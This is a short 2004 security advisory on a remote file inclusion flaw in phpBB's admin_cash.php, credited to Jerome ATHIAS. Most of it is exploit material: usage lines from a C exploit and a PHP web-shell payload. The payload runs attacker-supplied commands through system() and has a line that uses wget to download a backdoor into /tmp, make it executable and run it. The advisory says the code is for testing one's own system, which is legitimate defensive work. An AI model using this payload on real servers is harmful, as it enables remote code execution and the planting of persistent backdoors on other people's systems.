phpBB admin_cash.php File Include Vulnerability (Exploit)
28 Nov. 2004
Summary
"phpBB is a high powered, fully scalable, and highly customizable Open Source bulletin board package". A vulnerability in phpBB's admin_cash.php file allows a remote attacker to cause the program to include arbitrary PHP files and execute their content. The following exploit code can be used to test your system for the mentioned vulnerability.
Credit:
The information has been provided by Jerome ATHIAS.
printf("b4b0-phpbb.c by evilrabbi for b4b0\n\n");
printf("%s hostname phpbb2_dir url_to_bad_php\n",program_name);
printf("%s www.example.com phpBB2 blah.com/b4b0.php.php\n",program_name);
}
b4b0.php
b4b0 kickin ass again.......
System was exploited telnet to the port you have your backdoor set to listen on.
<?
if (isset($chdir)) @chdir($chdir);
ob_start();
system("$cmd 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm /tmp/cmdtemp");
system("cd /tmp; wget url_to_backdoor;chmod +x backdoor_name;./backdoor_name"); // EDIT THIS INFO!!!!!!!!!!!!!
$output = ob_get_contents();
ob_end_clean();
if (!empty($output)) echo str_replace(">", ">", str_replace("<", "<", $output));
?>